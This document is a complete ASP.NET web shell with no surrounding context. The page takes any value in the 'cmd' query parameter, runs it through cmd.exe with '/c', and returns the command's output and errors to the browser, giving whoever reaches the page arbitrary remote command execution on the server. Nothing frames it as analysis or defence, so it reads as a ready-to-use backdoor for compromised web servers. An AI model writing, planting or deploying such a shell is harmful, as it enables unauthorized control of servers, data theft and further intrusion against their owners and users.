<%
    string cmd = Request.QueryString["cmd"]; // Get the command from the 'cmd' query parameter
    if (!string.IsNullOrEmpty(cmd))
    {
        try
        {
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe"; // Command shell on Windows
            process.StartInfo.Arguments = "/c " + cmd; // Execute the provided command
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.CreateNoWindow = true;

            process.Start();

            StreamReader outputReader = process.StandardOutput;
            StreamReader errorReader = process.StandardError;

            string output = outputReader.ReadToEnd();
            string error = errorReader.ReadToEnd();

            Response.Write(Server.HtmlEncode(output));
            Response.Write(Server.HtmlEncode(error));
        }
        catch (Exception ex)
        {
            Response.Write("Error: " + Server.HtmlEncode(ex.Message));
        }
    }
%>